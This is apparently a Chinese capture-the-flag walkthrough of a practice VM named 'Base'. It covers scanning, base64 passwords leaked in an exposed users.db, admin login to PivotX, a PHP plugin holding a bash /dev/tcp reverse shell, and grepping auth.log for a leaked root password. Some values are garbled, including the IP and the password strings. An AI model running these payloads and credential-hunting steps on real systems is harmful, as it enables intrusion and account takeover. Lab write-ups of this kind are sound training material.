

群友靶机-low-Base

1 信息收集

1.1 nmap

```
└─(root@kali)-[~/桌面]
└─# nmap 192.168.198.229 -p- -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 10:19 EDT
Nmap scan report for 192.168.198.229
Host is up (0.00034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.62 ((Debian))
MAC Address: 08:00:27:3D:1A:5F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.71 seconds
```

1.2 Dirsearch

```
Target: http://192.168.198.229/
[23:08:01] Scanning:
[23:08:06] 200 - 212B - /images/
[23:08:06] 301 - 319B - /images -> http://192.168.198.229/images/
Added to the queue: images/
[23:08:06] 200 - 9KB - /index.php
[23:08:06] 200 - 9KB - /index.php/login/
Added to the queue: index.php/login/
[23:08:06] 200 - 15KB - /LICENSE.txt
[23:08:08] 200 - 311B - /README.md
[23:08:08] 200 - 33B - /robots.txt
[23:08:09] 200 - 956B - /UPGRADE.txt
[23:08:09] 200 - 12KB - /users.db
```

2 User

2.1 PivotX - 3.0.0 - RCE

访问页面发现是 PivotX - 3.0.0

搜了下发现有个 RCE

[CVE-2025-52367: 在 PivotX CMS v3.0.0 RC 3 中通过权限升级将 XSS 存储到 RCE | by 海顿 | 七月, 2025 | 中等](#)

PivotX Powered

Welcome to your new online presence!

最开始以为是利用是 RCE

但是阅读文章后发现好像不是，因为是要先有管理员的 `cookie`，然后文件上传才能够实现 `RCE`，后面爆破了半天的root 也登不上，只能作罢

2.2 Hungry

同时，扫完目录后发现了一个 `/users.db`

访问后使用 `Navicat` 打开，发现是账号密码

id	username	password
# INTEGER	A ^B C TEXT	A ^B C TEXT
1	hungry	aHVuZ3J5

这个时候我最开始以为是 `web` 登录的账号密码，但是等半天了都没登上。。。

后面灵光一显去试试 `ssh` 结果发现登上了...

```
hungry@Base:~$ cat user.txt
flag{user-051a0db9a92e4dacc70212da32fd0638}
```

然后再找找看，发现在目录下还有一个 `creds.txt`

```
hungry@Base:/var/www/html$ ls -al
total 76
drwxr-xr-x  4 root    root    4096 Jul 20 00:52 .
drwxr-xr-x  3 root    root    4096 Apr  4 23:20 ..
-rw-r--r--  1 www-data www-data  27 Jul 20 00:24 creds.txt
-rw-r--r--  1 www-data www-data 3389 Jun 22  2023 example.htaccess
-rw-r--r--  1 www-data www-data 4253 Jun 22  2023 example.web.config
drwxr-xr-x  3 www-data www-data 4096 Jul 23 10:31 images
-rw-r--r--  1 www-data www-data  612 Jun 22  2023 index.php
-rw-r--r--  1 www-data www-data 14900 Jun 22  2023 LICENSE.txt
drwxr-xr-x 12 www-data www-data 4096 Jun 22  2023 pivotx
-rw-r--r--  1 www-data www-data  311 Jun 22  2023 README.md
-rw-r--r--  1 www-data www-data   33 Jun 22  2023 robots.txt
-rw-r--r--  1 www-data www-data  956 Jun 22  2023 UPGRADE.txt
-rw-r--r--  1 root     root    12288 Jul 20 00:30 users.db
hungry@Base:/var/www/html$ cat creds.txt
guest:guest
admin:YWRtaW*=  

```

目录里竟然又出现了 `admin` 的账号密码！！

！欸，不是已经给了个这么明显的users.db，能够直接进入较高权限的 Hungry 提权，为什么还要给个多此一举的 creds.txt 难道是想让我们用这个 RCE ？

不管了先看看其他的

3 Root

3.1 WWW

经过非常细致的排查，最终是一无所获，突然在跑脚本的时候发现了

```
└─┬─ All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1000(hungry) gid=1000(hungry) groups=1000(hungry)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=102(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=103(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=104(messagebus) gid=110(messagebus) groups=110(messagebus)
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=1(daemon[0m] gid=1(daemon[0m] groups=1(daemon[0m]
uid=2(bin) gid=2(bin) groups=2(bin)
uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=9(news) gid=9(news) groups=9(news)
```

如果要查看用户组权限的话，也可以看看 `/etc/group`

```
cat /etc/group
```

```
hungry@Base:/root$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:www-data
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
```

!!! 看来这个www是真有其他权限

于是使用 `creds.txt` 中的密码登一下

```
admin:YWRtaW*=-
```

这里因为拿到 `hungry` 的密码的时候能看出来密码是被 `base` 加密了, 于是这里把 `admin` base64加密就能知道密码了

登录之后按照文档步骤改下就行

```
<?php

/**
 * Plugin Name: Reverse Shell Plugin
 * Plugin URI:
 * Description: Reverse Shell Plugin
 * Version: 1.0
 * Author: Vince Matteo
 * Author URI: http://www.sevenlayers.com
 */

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.190/1234 0>&1'");
?>
```

拿到 `shell` 后我们再看看权限组 `adm 4` 是什么权限组

- `adm` 组 (ID 4) : 关键权限组
- `adm` 组的特权:
- 可读取 `/var/log` 下的系统日志 (如 `auth.log`、`syslog`)
- 默认有权使用 `sudo` 查看服务状态 (如 `sudo systemctl status nginx`)

于是进入 `/var/log` 再看看

以下是一些敏感日志

<code>-rw-r----- 1 root adm 7997 Jul 23 10:40 auth.log</code>	# 认证日志 (含登录、 <code>sudo</code> 记录)
<code>-rw-r----- 1 root adm 56481 Jul 23 10:58 daemon.log</code>	# 守护进程日志
<code>-rw-r----- 1 root adm 129310 Jul 23 09:59 kern.log</code>	# 内核日志
<code>-rw-r----- 1 root adm 111210 Jul 23 09:59 messages</code>	# 系统消息
<code>-rw-r----- 1 root adm 25922 Jul 23 10:58 syslog</code>	# 主系统日志

<code>grep -i "password\ passwd\ pwd" /var/log/auth.log /var/log/syslog</code>	#搜索密码泄露
<code>grep "Accepted password" /var/log/auth.log awk '{print \$9}'</code>	#收集用户名
<code>grep "sudo:" /var/log/auth.log grep "COMMAND"</code>	#sudo使用记录

```

www-data@Base:/var/log$ grep -i "password\|passwd\|pwd" /var/log/auth.log /var/log/syslog
cord\passwd\lpwd" /var/log/auth.log /var/log/syslog
/var/log/auth.log:Jul 19 23:59:05 moban passwd[5281]: pam_unix(passwd:chauthtok): password changed for root
/var/log/auth.log:Jul 19 23:58:27 moban sudo[381]: root : password changed to 'dG9kZA==
/var/log/auth.log:Jul 20 00:05:17 moban sshd[548]: Accepted password for root from 192.168.3.94 port 60280 ssh2
/var/log/auth.log:Jul 20 00:10:50 moban passwd[831]: pam_unix(passwd:chauthtok): password changed for hungry
/var/log/auth.log:Jul 20 00:30:55 moban passwd[1026]: pam_unix(passwd:chauthtok): password changed for hungry
/var/log/auth.log:Jul 20 00:31:43 moban sshd[1031]: Accepted password for root from 192.168.3.94 port 36218 ssh2
/var/log/auth.log:Jul 20 00:32:02 moban passwd[1044]: pam_unix(passwd:chauthtok): password changed for root
/var/log/auth.log:Jul 20 00:44:17 Base sshd[433]: Accepted password for root from 192.168.3.94 port 47964 ssh2
/var/log/auth.log:Jul 20 00:52:12 Base sshd[433]: Accepted password for root from 192.168.3.94 port 55854 ssh2
/var/log/auth.log:Jul 23 10:19:46 Base sshd[638]: Accepted password for hungry from 192.168.198.192 port 30964 ssh2
/var/log/auth.log:Jul 23 10:21:22 Base sudo: hungry : command not allowed ; TTY=pts/0 ; PWD=/home/hungry ; USER=root ; COMM
/var/log/auth.log:Jul 23 10:33:01 Base sudo: pam_unix(sudo:auth): auth could not identify password for [hungry]
/var/log/auth.log:Jul 23 10:33:01 Base sudo: hungry : command not allowed ; TTY=pts/0 ; PWD=/home/hungry ; USER=root ; COMM
/var/log/auth.log:Jul 23 10:40:50 Base sudo: pam_unix(sudo:auth): auth could not identify password for [www-data]
/var/log/auth.log:Jul 23 10:40:50 Base sudo: www-data : command not allowed ; PWD=/var/www/html/pivotx ; USER=root ; COMMAND=
www-data@Base:/var/log$ zgrep -E 'pass=|pwd=|password=' /var/log/*.gz
zgrep -E 'pass=|pwd=|password=' /var/log/*.gz

```

然后 `su root` 就能到 `root` 了

```

hungry@Base:/var/www/html$ cat creds.txt
guest:guest
admin:YWRtaWw*
hungry@Base:/var/www/html$ su root
Password:
_____
|  _ )  _ _  _  _
|  _ \ / _ / _ | / _ \
| |_) | (| \ _ \ _ /
|____/ \_,_|____/\____|

root@Base:/var/www/html# cat /root/root.txt
flag{root}

```